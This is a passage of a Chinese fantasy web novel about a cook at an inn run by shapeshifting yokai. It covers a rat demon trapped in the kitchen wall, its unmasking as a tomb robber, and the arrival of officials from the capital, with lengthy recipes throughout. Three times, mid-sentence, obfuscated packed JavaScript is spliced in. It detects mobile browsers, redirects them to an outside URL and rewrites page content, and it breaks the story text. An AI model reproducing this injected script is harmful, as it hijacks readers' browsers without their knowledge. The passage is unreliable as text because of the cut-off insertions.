然后，她在鱼身表面薄薄地拍上一层干淀粉。起一个大油锅，油温烧至七八成热，手提鱼尾，用勺子将热油不停地浇在鱼身上，先进行定型和初步的炸制。 待鱼皮变得紧实微黄后，再将整条鱼小心地滑入油锅中，中火浸炸，期间用勺子将热油不断浇在露出油面的部分，确保受热均匀。 炸至鱼身金黄酥脆，鱼皮起泡，用筷子能轻易戳透鱼肉时，便可捞出控油。那炸好的鱼通体金黄，鱼皮酥脆爆裂，散发着极其诱人的焦香。 将炸好的鱼小心地移到底部铺了蔬菜的烤盘上。 另起一锅，倒入适量的油，烧热后下入一大勺豆瓣酱，炒出红油和酱香味，再放入干辣椒、花椒、葱姜蒜爆香。烹入料酒、酱油，加入适量的糖和清水烧开，调成浓郁麻辣的烤鱼汤汁。 将滚烫的汤汁均匀地浇在炸好的鱼身上，“刺啦”一声，热气蒸腾，香味瞬间被激发出来，麻辣鲜香的气味霸道地弥漫开来，勾得人肚里的馋虫蠢蠢欲动。 最后在鱼身上撒上炸好的花生米、切碎的香菜和熟芝麻。 将烤盘放在一个小铁架上，底下加上蜡烛热，让汤汁在烤盘里“咕嘟咕嘟”地冒着泡，越炖越入味。 如法炮制，一共做了三大份。 衔蝉苑的猫猫们那份，简菡还特意做得香辣口，只闻其香但丝毫不辣。她记得猫猫们好像都不太能吃辣。 简菡和雪翎合力，将三个沉甸甸、冒着热气、散发着致命诱惑香味的烤盘端到了大堂。 三堆人，三份锅。 除了穆阳，大家都是热热闹闹一群人围坐一炉。 苗澈那边自不必说，一群猫郎早就被香味勾得围了过来，猫尾巴愉悦地摇晃着。 汪屿、墨无咎和简菡雪翎也算一伙。 只有穆阳，孤零零一个人守着一个大烤盘，看着旁边两堆热闹的人群，显得格外凄凉。 他想跟汪屿这边凑凑，汪屿假装没看见；想跟苗澈那边搭句话，苗澈只顾着优雅地挑鱼刺。 唉！ 穆阳叹了口气，形单影只，只好自己动筷子，挟了块靠近鱼腹部位的肉。 鱼肉经过先炸后炖，外皮依旧保持着惊人的酥脆，咬下去能听到轻微的“咔嚓”声，内里的鱼肉却无比鲜嫩多汁，饱吸了麻辣鲜香的汤汁，入口即化。 麻辣的味道恰到好处地刺激着味蕾，却不会掩盖鱼肉本身的鲜美。豆豉的醇香、花生的酥脆、香菜的清新、芝麻的焦香，各种味道在口中交织爆炸，让人忍不住一口接一口，吃得额头冒汗，嘴唇发麻，却根本停不下来！ 尤其是就着蜡烛在炙烤，汤汁越来越浓稠，里面的洋葱和芹菜也炖得软烂入味，更是下饭的神器。 穆阳吃着吃着，也暂时忘记了孤单，沉浸在烤鱼带来的酣畅淋漓的味觉享受中。 吃过饭，雪翎陪着简菡去厨房收拾。 雪翎手指轻点，清泉诀运转，水流自动冲刷着碗碟，省了简菡不少力气。简菡趁机仔细检查了一遍明天要交给聂松的卤货，确认无误后，才伸着懒腰打着哈欠。 她现在只想赶紧回房间洗漱睡觉。 还没出厨房门，就听大堂传来穆阳一本正经的呼叫声：“所有人，速来大堂！紧急集合！” 雪翎吓了一跳，下意识抓着简菡的胳膊，护着她快步跑回大堂。 还以为出了什么大事，结果就看到穆阳拿着个小本本，一副点兵点将的严肃模样。 雪翎和简菡对视一眼，顿时齐齐“嘁”了一声，放下心来。 二人被点到名字时，懒洋洋地抬起手，有气无力地应了一声“到”。 好不容易熬到穆阳把所有人的名字都点了一遍，简菡困得眼皮打架，几乎要靠着雪翎的肩膀睡着了。 “好了！” 穆阳合上本子，目光扫过众人，宣布了下一个“噩耗”。 “今晚，为了安全起见，咱们大家就在这大堂打地铺吧！集中休息，互相有个照应！” “啊？！” “不是吧！” “穆大人，没必要吧？” 汪仙楼中的人顿时发出哀嚎和抗议。 打地铺？多不舒服啊！ 穆阳扫了眼那边老神在在、似乎无所谓但嘴角微勾的苗澈，又看了这边一脸不情愿、眉头紧锁的汪屿，更加坚定了决心。 “我这是对大家的安全负责！谁知道那打洞的玩意儿晚上会不会出来活动？分散开太危险 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16588536|187362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了！” 官大一级压死人，何况穆阳说的也有几分道理。 众人只得认命地开始挪桌子板凳，在大堂中央空出了一大片空地。然后抱来褥子、被子、枕头，一应铺好。 简菡和雪翎作为女生，被安排睡在最中间的位置，算是重点保护对象。 墨无咎化为一只通体乌黑的黑猫，安静地卧在雪翎旁边的褥子上，盘成一团。汪屿以人形睡在墨无咎另一边，钻进了被子。 简菡的另一侧，睡了一群毛茸茸的猫猫。苗澈带来的那些猫郎们大多选择了更舒适自在的原形，各种花色、大小不一的猫咪挨挨挤挤地趴成一排，发出轻微的咕噜声。 对于他们以猫身存在的时候，简菡丝毫不介意是公猫睡在身旁，甚至还忍不住伸出手，挨个撸了撸他们毛茸茸的小脑袋，手感好极了！ 猫咪们也都温顺地蹭蹭她的手心。 苗澈没有变回猫形，依旧以人身和衣而卧，守在地铺的最外侧，位置正对着客栈大门的方向，以便有任何危险都能第一时间反应。 穆阳看看左边挤在一起的汪仙楼“原住民”，又看看右边窝成一团的衔蝉苑“外援”，发现自己好像插不进任何一边。 他只得悻悻地抱着被子，爬到了旁边一张空着的长桌上尝试躺下。 奈何人身太过高大，桌子又不够长，他蜷缩着换了半天姿势也没办法舒舒服服地躺平。 无奈之下，他只好化回原身，一只体型颇大、毛发厚实的牧羊犬，跳上桌子，盘卧在自己的被子上，警惕的浅褐色眼睛依旧注意着四周的动静。 夜半时分，万籁俱寂。 简菡是被一阵极其有节奏、堪称雷鸣般的呼噜声吵醒的。 她迷迷糊糊地睁开眼，黑暗中，那“呼——哧——呼——哧——”的声音此起彼伏，来源…… 似乎正是她旁边那群毛茸茸、看起来无比可爱的小猫咪！ 她实在想不通，那么可爱且毛茸茸的小猫咪，睡着时看起来那么无害，怎么会发出那么响亮的、堪比壮汉的呼噜声？！ 分明他们变成人形的时候，一个个都不是那种肥肥胖胖、会打鼾的长相啊！ 这反差也太大了吧！ 被吵得睡意全无的简菡实在忍无可忍，她猛地坐起身，烦躁地抓了抓头发。 就在她坐起来的瞬间，一左一右两个方向，突然各无声地伸过来一只手。 摊开的掌心上，里面是两小团看起来像是用柔软布料临时搓成的小球。 两人的意思很明显——耳塞，要不要？ 简菡愣了一下，借着窗外微弱的月光，看了看苗澈，又看了看汪屿。 她对两个人都小声道了句“谢谢”，然后…… 毫不犹豫地拿起了汪屿手里的那两团棉花，塞到了耳朵里。 自家老板，照顾点员工不犯毛病。 但是苗澈…… 哼，诡计多端的猫郎！谁知道他给的耳塞有没有动什么手脚？不得不防！ 塞上棉花耳塞后，世界果然清静了不少。虽然还能听到一点闷闷的声音，但已经不至于无法入睡了。 简菡重新躺下，裹紧了被子。 21. 烤羊羔 脸上痒痒的，像是有什么毛茸茸的东西在轻轻扫过。 简菡在睡梦中无意识地用手挠了下。 没过一会儿，那种细微又执着的痒意便又来了，这次更清晰了些，仿佛有人拿着一根柔软的羽毛在她脸颊上划动。 她不耐烦地皱起眉，迷迷糊糊地睁开眼。 一张放大的俊脸近在咫尺！ 苗澈正侧身支着胳膊肘撑在她身侧，银色的发丝垂落几缕，那双潋滟的桃花眼带着几分慵懒和显而易见的戏谑。最过分的是，他身后那条蓬松柔软的银白色大尾巴，正有一下没一下地、故意地在她脸上扫来扫去！ “啊！” 简菡被这突如其来的近距离美颜暴击和尾巴骚扰吓得瞬间清醒，低呼一声，连连往后缩着想躲开。 身子猛地撞上一个温热结实、还带着熟悉气息的“障碍物”。 她一回头，正对上汪屿的黑色眼眸。 “啊！” 简菡又被身后悄无声息多出个人吓得叫了一声，下意识地又往前挪了些，结果差点又撞进苗澈怀里。 一大早的，都有病吧！ 简菡惊魂未定地左右看看这两个莫名其妙围过来的男人，心脏砰砰直跳。 她看向四周，发现大堂里空空荡荡，只剩下他们三个了。雪翎、墨无咎、穆阳还有那群猫郎都不知道去哪了。 简菡左瞧瞧苗澈那张似笑非笑的脸，右看看汪屿那副万年冰山的臭脸，一脸嫌弃地推开被子，趿拉着鞋子就往后院走，懒得理这两个行为反常的家伙。 经过一夜安睡，风平浪静，简菡对那个诡异圆洞的警惕心都下降了不少。 她回自己屋里取来洗漱用品，仔细地梳洗了一番，还换了套干净利落的衣裙。 以往这时候，她通常还美美地睡着懒觉，难得醒这么早，她还有些不习惯，打着哈欠往厨房走去，准备做早饭。 刚推开厨房的门，简菡一眼就被墙上的异样所吸引。 那个圆洞……好像被什么东西堵住了？ “啊！” 下一秒，她爆发出比早上被吓到时更惊恐的尖叫，猛地后退一步，却被门槛绊倒，结结实实一屁股摔坐在了地上，疼得她龇牙咧嘴。 雪翎等人闻声急匆匆赶过来，就见简菡坐在地上，满脸惊恐，手指颤抖地指着厨房里面。 “怎么了怎么了？”雪翎赶紧上前一步，将她搀扶起来，“摔着没？” 众人顺着她惊恐的目光往厨房里瞧。 只见厨房墙壁上多出来的那个圆洞里，赫然卡着一只……肥硕无比的老鼠！ 这老鼠通体皮毛呈一种罕见的灰褐色，油光水滑。它半拉身子都已经钻进那个圆洞里了，可偏偏一个圆滚滚、鼓囊囊如同皮球的大肚子被死死地卡在了洞口，进退不得。 两只强劲的后爪绝望地蹬在粗糙的墙面上，留下了一道道清晰的抓挠痕迹，可见它被卡住后经历了多么徒劳的挣扎。 穆阳眉头紧锁，上前一步，试探性地伸手拉住老鼠露在外面的后腿，想将它往外扯出来。 可任凭他如何用力，甚至把脚都支在墙上了，脸都憋红了，那老鼠就像长在了墙里一样，纹丝不动！ “这也卡太死了！” 穆阳松开手，喘了口气，无奈地摇头。 汪屿和苗澈不知何时也过来了，一左一右立在穆阳旁边，只冷眼看着，丝毫没有上前帮忙的意思。 汪屿黑色的狼眸细细打量了那老鼠几眼，尤其重点看了看它那异常鼓胀的肚子和周围墙上的痕迹，眉头微不可察地皱了一下，随即竟然什么也没说，转身就走了。 苗澈倒是嗤笑出声，银色的猫尾巴悠闲地晃了晃，语气带着惯有的嘲讽。 “饿几天吧，它若是命大没被自己撑死，肚子瘪下去，自然就出来了。” 说完，他也懒得再多管闲事，招呼上自家那些看热闹的猫郎们，施施然回大堂去了。 就这么走了？！ 简菡看着一个又一个“高手”离去，又怕又气，赶紧一把抓住了身边雪翎的手，声音都带上了哭腔。 “雪翎！你别走！我……我害怕！” 厨房的墙上多了个洞也就罢了，可多了个这么肥硕、还被卡住一半的大老鼠！ 简菡是看都不敢再多看一眼，只觉得浑身鸡皮疙瘩都起来了，胃里一阵翻涌。 雪翎拍拍她的手安慰道：“不怕不怕，它卡着呢，出不来。我们先做早饭，吃饱了才有力气害怕不是？” 话虽如此，简菡还是心有余悸，尽量背对着那个方向。 她定了定神，准备做些简单对付一口得了。 拿出几个鸡蛋打在碗里，加入少许盐搅散。平底锅烧热，刷上一层薄薄的油，将隔夜的馒头切成厚片，蘸过蛋液后放入锅中，小火慢煎，直至馒头片表面变得金黄酥脆，散发出焦香。 切好的火腿和整颗的鸡蛋依次效仿，在锅里煎至表面微焦。 馒头打底，中间依次夹上煎火腿、生菜叶和煎鸡蛋。 饭做好，简菡下意识地想去查看一下旁边灶上温着、准备等会儿交给聂松的卤货。 她掀开沉重的木头锅盖。 锅里空空如也！ 分明那锅卤味她昨晚临睡前还看过，可现在全都没了？ 那么一大锅的卤货，五花肉、猪耳朵、豆干、鸡蛋……全都没了！ 连汤汁都没剩下多少！ 简菡呆愣了一瞬，脑子里“嗡”的一声，唰地将视线猛地投向了墙上那个被肥老鼠卡住的洞！ 它这圆滚滚、快要把自己撑爆的肚子！不会就是因为偷吃了她一整锅的卤货吧？！ 她端着做好的早餐来到大堂，把自己的怀疑跟穆阳说了。 穆阳一边吃着简菡做的煎馒头片夹蛋，一边沉吟道：“观其腹胀程度及厨房痕迹，不无此种可能。此鼠怕是昨夜我等熟睡后，凭借某种天赋钻洞而入，贪食过量，才被卡住。” 怀疑得到了官方肯定，简菡顿时嫌弃极了，感觉再看那老鼠一眼都脏眼睛。 恰在这时，聂松准时上门来取货了。 简菡只好把事情的原委跟他说了一声，连连道歉。 好在近日来， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16588537|187362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 简菡跟聂松合伙卖卤味和坚果赚了不少，口碑也打出去了，偶尔歇业一天也没什么大影响。聂松虽然觉得可惜，但还是表示理解，还主动宽慰了简菡就当是放假了。 但在简菡心里，总觉得膈应无比。总感觉那老鼠碰过的厨房、锅碗瓢盆甚至空气都脏了似的。 吃完饭，她立刻拉着雪翎和墨无咎重返厨房。 雪翎施展清泉诀，引来道道清澈水流，将厨房里里外外、所有器皿都冲刷了无数遍。 墨无咎则捏了个更复杂的净化诀，柔和的白光所过之处，连一丝异味都被消除得干干净净。 清洁法术足足施了十几遍，直到厨房光洁如新，甚至比之前还干净，简菡心里的疙瘩才稍微缓和了一些。 墨无咎又走到那面墙前，看着依旧在徒劳挣扎的肥老鼠，指尖凝聚灵力，捏了个玄妙的法诀。 只见一道金色的光线从他指尖射出，如同灵活的织网般，在那老鼠露在外面的后半身上缠绕包裹，最终形成一个散发着淡淡金光的网兜，牢牢缚住了它。 “此网不会伤它，但会禁锢其妖力，使其无法再钻洞或施展别的手段。” 墨无咎淡淡解释道，“待它饿得瘦削下去，无法再卡住时，也无法往里逃脱，只会被此网兜着，坠入下方我预设的禁锢法阵中。届时是放是抓，再行定夺。” 有了这双重保险，简菡总算稍微安心了点。 但只要有那只老鼠在厨房一天，她是说什么也不想进去做饭了。 中午，她干脆拉着没事做的聂松，坐着他的小驴车去市集逛了一圈，精心挑选了几只肉质鲜嫩、肥瘦适中的小羔羊回来。 后院空地上支起烤架，点燃果木炭。 将宰杀收拾干净的羔羊用铁棍穿好，固定在烤架上。然后用盐、孜然粉、辣椒面、花椒粉、以及她自制的多种香料混合成的秘制调料，里里外外、仔仔细细地将羔羊涂抹均匀，反复按摩，让滋味充分渗透。 炭火不急不慢地燃烧着，简菡耐心地不停转动烤架，让羊肉受热均匀。 随着时间的推移，羊皮逐渐变得金黄酥脆，油脂被烤得滋滋作响，滴落在炭火上，激起阵阵令人垂涎的香气。那混合了焦香、肉香和浓郁香料味的霸道气息，飘出去老远，勾得大堂里的人都坐不住了，纷纷跑到后院来围观。 待到羊肉烤得外焦里嫩，用刀子轻易就能片下肉来时，便是大功告成。 简菡将烤全羊卸下架，放在一个大托盘里。 众人也顾不上什么形象了，自己动手，拿着小刀，喜欢哪块肉就片哪块肉吃。 烤羊肉外皮酥脆咸香，带着孜然和辣椒的独特风味。内里的肉质却极其鲜嫩多汁，毫无膻味，只有浓郁的肉香和果木的清香。 众人吃得满手流油，酣畅淋漓，欢声笑语不断。 无人注意到，厨房墙壁上，那个被金色网兜兜住的肥硕身影，闻着外面飘来的、比卤货更诱人的烤肉香气，挣扎得更加剧烈了，两只后爪拼命蹬着墙面，发出细微的“窸窣”声。 墙洞中，黑豆眼里充满了对美食的渴望和无法脱身的绝望。 22. 榨菜肉丝面、酱脊骨 穆阳盯着墙上那只卡得死死的肥老鼠，越看越觉得它就是制造这一系列诡异圆洞的罪魁祸首。 考虑到苗澈带来的那群猫郎每日的伙食费也是一笔不小的开销，而且眼下老鼠已被禁锢，看起来也翻不出什么浪花，穆阳便让苗澈先带着他的人回去了。 于是，汪仙楼又恢复了往日的“清静”，只是厨房墙上多了个“装饰品”。 十多天过去了，那耗子依旧顽强地卡在墙上，除了偶尔虚弱地蹬两下腿，毫无脱困的迹象。 穆阳每日巡街，必定会绕到汪仙楼来例行公事地问一句：“掉了吗？” 这日，简菡如往常一般，正一边擦着桌子一边头也不抬地敷衍了句：“没有呢，穆大人，结实着呢。” 一旁的墨无咎原本趴在柜台上假寐，黑色的猫耳朵忽然敏感地抖动了一下。 他抬起头，墨绿色的猫瞳望向厨房方向，淡淡地说了句：“掉了。” “嗯？” 简菡和穆阳同时一愣。 话音才落，穆阳反应极快，如同一支离弦的箭，“嗖”地一下就冲向了后院厨房！ 简菡也反应过来，赶紧拉上正在嗑瓜子的雪翎，紧随其后。 等墨无咎慢悠悠地甩着尾巴，踱步走到厨房门口的时候，里边正传来叽叽喳喳的嚷嚷声。 “小贼！你命还真大啊！” 这是穆阳的声音，带着几分惊奇和调侃。 只见地上那个法阵里，金色的网兜罩着那只瘦了不少的老鼠。 连着断水断粮这么多天，它早已虚弱不堪，原本油光水滑的皮毛变得黯淡无光，圆滚滚的肚子瘪了下去，黑豆般的小眼睛都失去了神采，只剩下惊恐和绝望。 穆阳摸着下巴。 “看样子快不行了。简姑娘，要不你先给它喂点糖盐水？吊着命也好审问。” 话没说完，简菡就像被踩了尾巴的猫，尖叫着跳起来躲到了雪翎的背后，连连摆手：“我不要！你来！谁爱喂谁喂！我看着就浑身发麻！” 穆阳瞧见简菡、雪翎甚至门口看热闹的墨无咎都露出一脸抗拒嫌弃的模样，只好无奈地自己揽下了这活。 “行行行，我来就我来。” 简菡坚决拒绝使用客栈里的任何碗碟给这只老鼠用。 穆阳没办法，只好吩咐手下衙役赶紧去隔壁杂货铺买了个竹筒来。竹筒装了温热的糖盐水，凑到老鼠嘴边。他立马小口啜饮起来。 一连喂了两竹筒下去，它那黯淡的眼睛里总算恢复了一点神采。 就在这时，异变突生！ 那老鼠身上忽然泛起一层微弱的土黄色光芒，身体在光芒中开始拉长、变形！ 不过眨眼功夫，地上那只奄奄一息的老鼠不见了，取而代之的是一个被金色网兜捆着的、矮矮胖胖的少年！ 少年看着约莫十五六岁年纪，身高恐怕还不到简菡的肩膀，体型圆润，典型的五五分身材，穿着一身沾满泥土的褐色短打衣裳。 他的脸蛋也是圆圆的，带着点未褪的婴儿肥，眼睛倒是和老鼠形态时一样，又圆又黑，此刻正惊慌地四处乱瞟，配上那头乱糟糟的棕色头发，显得有几分稚气和狼狈。 “把他绑起来！” 穆阳见状，立刻下令。 衙役们赶紧上前，用准备好的麻绳，将刚刚化形、还处于虚弱状态的少年结结实实地捆成了个粽子。 穆阳拖过一张凳子，大马金刀地坐下，脸上恢复了简菡初见他时的那股威严气势，沉声问道：“说！汪仙楼里这些洞，是不是你搞的鬼？！” 那矮胖少年低着头，嘴唇紧闭，死活不肯开口。 时间一分一秒过去，大堂里安静得只剩下众人的呼吸声。久到穆阳都开始怀疑这小子是不是个哑巴。 “罢了，”穆阳失去耐心，挥挥手，“先带回衙门再说。” 虽然汪仙楼没啥生意，但审讯犯人还是得去专门的场所。 两名衙役领命，伸手就去架他的胳膊。 手刚碰到他的衣袖，这少年就像被针扎了一样，猛地扭动身体，尖声叫道：“别碰我！” “呦！”穆阳乐了，又坐回了凳子上，“原来你会说话啊。那就说说吧，姓甚名谁，为何在汪仙楼打洞？目的何在？” 然而，气氛再次陷入了沉默。少年又恢复了那副打死不开口的倔强模样。 穆阳见他这般，也懒得再废话。他挥挥手，那两名衙役便再次上前。 “是我干的！” 少年几乎是吼出来的，声音里带着屈辱和愤怒。 呵！不动他，就不出声是吧？ 真是欠收拾。 穆阳也懒得再跟他多言，扬扬下巴，示意衙役拖着把他带走。 厨房的隐患终于解除了！ 简菡立马拉着雪翎和墨无咎冲进厨房。 “快快快！赶紧再打扫几遍！里里外外，边边角角都不能放过！” 她一想到那只老鼠在这里卡了十几天，还偷吃了她的卤货，就觉得浑身不得劲。 三人又是一通忙碌，清泉诀、净化诀不要钱似的往厨房里扔，直到简菡觉得空气变得清新无比后，才终于停了手。 一大扇新鲜的猪脊骨，剁成大小适中的块，冷水下锅，加入姜片、料酒焯去血水，捞出用温水冲洗干净。 重新起锅，少油，放入冰糖炒出糖色，然后倒入沥干的脊骨快速翻炒，让每一块骨头都均匀地裹上诱人的焦糖色。接着放入葱段、姜片、八角、桂皮、香叶、干辣椒炒出香味，加入料酒、酱油、少许老抽和大量的豆瓣酱，翻炒均匀。 倒入足量的开水，没过所有的脊骨，大火烧开后转为小火，盖上锅盖慢慢焖炖。 酱脊骨的浓郁酱香渐渐飘散出来。但此时火候不到，需得汤汁炖至浓稠，骨头酥烂入味才行。 另一边，将猪里脊切成细丝，用少许淀粉、料酒和酱油抓匀腌制。榨菜也切成更细的丝备用。 起锅热油，滑炒肉丝至变色后盛出。留底油，放入榨菜丝煸炒出香味，再倒入炒好的肉丝，加少许糖和胡椒粉调味，翻炒均匀即成浇头。 重起一锅烧水，水开后下入极细的龙须面，煮至面条浮起即可捞出，放入大碗中，舀上两勺炒好的榨菜肉丝浇头，再浇上一勺滚烫的面汤，撒上葱花。 面条细滑爽口，榨菜咸脆，肉丝嫩滑，汤清味鲜，与浓油赤酱的酱脊骨正是绝配。 四个人正围坐一桌，吃得酣畅淋漓。 雪翎和墨无咎尤其喜欢那酱脊骨，炖得极其酥烂入味，用手轻轻一掰，肉就脱骨而下，酱香浓郁，咸鲜微辣，啃起来特别过瘾。 榨菜肉丝面则清爽解腻，细滑的面条吸饱了汤汁，每一口都带着榨菜的咸香和肉丝的鲜嫩。 就在这时，穆阳去而复返，脸色有些古怪。 他的手腕上挂着一个亮闪闪的银手镯，但手镯上却连着一条细细的银链，链子的另一端，正铐在早上被带走的那个矮胖少年的脖子上。 真是晦气！ 简菡在心里嘀咕了一句，感觉眼前香喷喷的面条瞬间都不香了！ “吃什么呢！这么香！” 穆阳被桌上的美食瞬间吸引，吸着鼻子，自来熟地就走了进来。 他这一动，链条拴着的少年也不情不愿、磨磨蹭蹭地被拉了进来。 “给我也搞一碗。” 穆阳眼睛盯着那盆酱脊骨和冒着热气的面条，毫不客气地说道。 “你……你带他来吃饭？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16588538|187362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 简菡头一次产生了不想赚钱的念头，指着矮胖，一脸嫌弃。 “不是，”穆阳摆摆手，自己动手丰衣足食地拿了个空碗，“我吃，他是来给你们补洞的。” 他指了指地上和墙上那些还没来得及处理的圆洞。 “啊？”众人都愣住了。 穆阳手伸到唇边，快速念了个诀。 只见那银色细链忽然闪烁了一下，瞬间变长了许多，足够褚家鼠在客栈内自由活动，但又无法逃脱。 “去吧。” 穆阳对着褚家鼠扬了扬下巴。 那少年低着头，默默走到墙边的一个洞前，伸出手指。 只见他的指尖泛起微弱的土黄色光芒，轻轻按在洞的边缘。那原本坚硬的墙壁仿佛变成了流沙一般，随着他手指的移动，洞口以肉眼可见的速度迅速愈合、平整，最后变得光滑如初，丝毫看不出这里曾经有过一个洞！ 见状，简菡虽然心里还是有点膈应，但也不好再说什么，给穆阳也盛了满满一大碗榨菜肉丝面，还挑了好几块肉多的酱脊骨给他。 “这小子，可不得了，有前科。” 穆阳啃着骨头，自认跟客栈众人混熟了，压低了声音说道，语气里带着点分享八卦的神秘感。 果然，他这话成功留下了悬念，立刻吸引了雪翎和简菡二人渴求又好奇的眼神。 穆阳对此很是满足。 “这小子，”穆阳用啃了一半的脊骨朝着正在默默补洞的褚家鼠指了指，“是个盗墓贼。” “啊？” 雪翎和简菡十分配合地发出惊呼，眼睛瞪得溜圆。 “上上上个月，京郊的皇陵知道吧？” “他都摸进去了，偷了不少宝贝出来。镇妖司查那批失窃的陪葬品查了许久都没线索，”穆阳说得唾沫横飞，甚至激动地用手比划起来，尽管手里还握着啃了一半的骨头，“就是因为这小子！他只打了这么大地小洞……” 他努力想比划出墙上洞的大小，“……大家都以为是谁家老鼠打的透气孔呢，谁都没在意！谁能想到那么大点的洞，能偷出那么多东西！” 还真是人……啊不，鼠不可貌相啊！ 简菡看了眼正在柜台那边认真干活、看起来甚至有点憨厚的矮胖少年，不由得在心里嘀咕了一声。 她扫了眼大堂，就这么一会儿功夫，墙上的几个洞已经都被修补好了，丝毫看不出痕迹。 手艺人啊！ 这技术，干点正行多好！ 吃完饭，穆阳牵着褚家鼠，在客栈里转了一圈，盯着他他打的所有洞都修补得完美如初。 最后，又将人带回了大堂。 客栈门被关上，穆阳脸上的嬉笑之色收敛了起来，恢复了办案时的严肃。 “说吧，那东西，藏哪了？”他盯着褚家鼠，声音低沉。 褚家鼠身体微微一颤，犹豫了一下，缓缓抬起手，指了指房顶。 穆阳抬眼望去，房梁上除了灰尘，什么都没有。他狐疑地看了褚家鼠一眼，纵身一跃，轻巧地跳上房梁，仔细探查。 果然，在一根主梁的背面，一个极其隐蔽的凹槽里，他摸到了一个冰凉坚硬的物件。 拿出来一看，是一个只有巴掌大小、通体漆黑、雕刻着诡异狰狞兽纹的木雕，那兽形似虎非虎，背生双翼，散发着一种不祥的气息。 幽骨穷奇！ 皇陵的镇墓兽！ 穆阳脸色一变，不动声色地将东西迅速收进了专门的收纳袋里。 他跳下房梁，不顾简菡等人好奇的追问，扯着银链，对少年沉声道。 “走！” 说完，他便拉着人匆匆离开了汪仙楼，留下客栈众人面面相觑，心里充满了疑问。 23. 棒槌肉片汤 因着鼠妖那手神出鬼没的打洞本领以及牵扯出的皇陵失窃案，穆阳不敢怠慢，火速将情况上报。 没想到，竟还惊动了京城镇妖司的狄大人！他亲自带了一队精锐，快马加鞭赶到了五福镇。 小小的县衙又破又旧，实在没有能招待几位京城贵客的地方。 穆阳急得团团转，忽然灵机一动，一拍大腿。 去汪仙楼啊！ 地方够大，饭菜也够香！ 于是，他怀着几分忐忑和“死马当活马医”的心态，竟真把这尊大佛和一队煞神引到了汪仙楼。 简菡当时正在后院敲核桃，准备做点琥珀核桃当甜点。 听到前堂动静，她也没多想，系着沾了些核桃屑的围裙，端着一盆刚剥好的核桃仁就走了出来。 刚迈进大堂门槛，她甚至还没看清屋里多了谁，就觉脖颈一凉！ 一柄寒光闪闪、造型奇特的细长弯刀已经架在了她的脖子上，持刀者是一名面色冷峻、身着黑色劲装的男子，眼神锐利如鹰，一眨不眨地盯着她。 “啊！” 简菡被这突如其来的袭击吓得尖叫一声，手一软，一盆核桃仁差点全扣在地上。 “她是我们厨娘！自己人！” 雪翎反应极快，立刻冲过来挡在简菡身前，对着持刀那位大人急声解释，同时紧紧拉住了简菡冰凉发抖的胳膊。 穆阳见状，也赶紧连连点头证明：“对对对！狄大人，这位是客栈的厨娘简菡姑娘，不是可疑之人！是自己人！” 危机解除，那柄弯刀无声地撤回。 雪翎心有余悸，拉着惊魂未定的简菡赶紧躲到了柜台旁的面瘫脸墨无咎身边。 情况不对！非常不对！ 简菡捂着还在狂跳的心口，悄悄打量着屋里忽然多出来的这一群人。 他们个个气息沉稳，眼神精悍，穿着统一的黑色劲装，腰间佩着制式统一的弯刀，显然训练有素。 而更让她感到不安的是穆阳的态度。 穆阳虽然平时跟她们嘻嘻哈哈没个正形，但该正经的时候，那股官爷的威严和可靠劲儿还是十足的。但此刻，他正卑躬屈膝，点头哈腰地给坐在主位上的一个男子端茶递水，态度恭敬得近乎谄媚。 那男子并未穿官服，而是一身绯红色的织金华服！ 以云锦织就，在光线下流转着暗纹，秀美非常。袍身绣着一条栩栩如生的飞鱼，鱼身龙首，背生双翼，盘旋腾跃，极具威仪。他腰间束着鸾带，并未佩刀，只悬着一枚墨玉令牌。 面容看起来约莫三十上下，五官端正，眉宇间带着一股不怒自威的审慎气质，一双眼睛尤其明亮，仿佛能洞察人心。他额前两侧微微露出的一对似鹿非鹿的白色麟角，像是某种罕见的瑞兽。 简菡瞧着这身打扮十分眼熟。 貌似……是飞鱼服？ 再看那人的气度…… 她心里咯噔一下。 有些吓人。 “狄大人，您和诸位兄弟一路辛苦，先在此歇歇脚。有任何事随时吩咐，下官定竭尽全力，鞠躬尽瘁，死而后已！”穆阳恭敬地说道。 狄大人？ 简菡觉得这名字耳熟得紧。 她正拧着眉使劲回想到底在什么地方听过的时候，余光瞥见了身旁紧张地攥着她衣角的雪翎。 灵光乍现！ 她想起来了！ 不正是那位京城神探狄壬，狄大人吗！ 破了京城数桩奇案，还有那桩珠宝失窃案据说也是他最终查明真相还了黑虎白鹤清白的！这种只在传闻和话本里出现的大人物，怎么会突然来到五福镇这种小地方？！ 她眼睛微微瞪大，连嘴都惊得圆了。 这种级别的人物亲自前来，难不成……出大事了？！ 联想到刚刚被带走的盗墓鼠妖，简菡的心一下子提到了嗓子眼，满脑子都是后院她房间中的地砖下，被她偷偷藏起来的那些银子！ 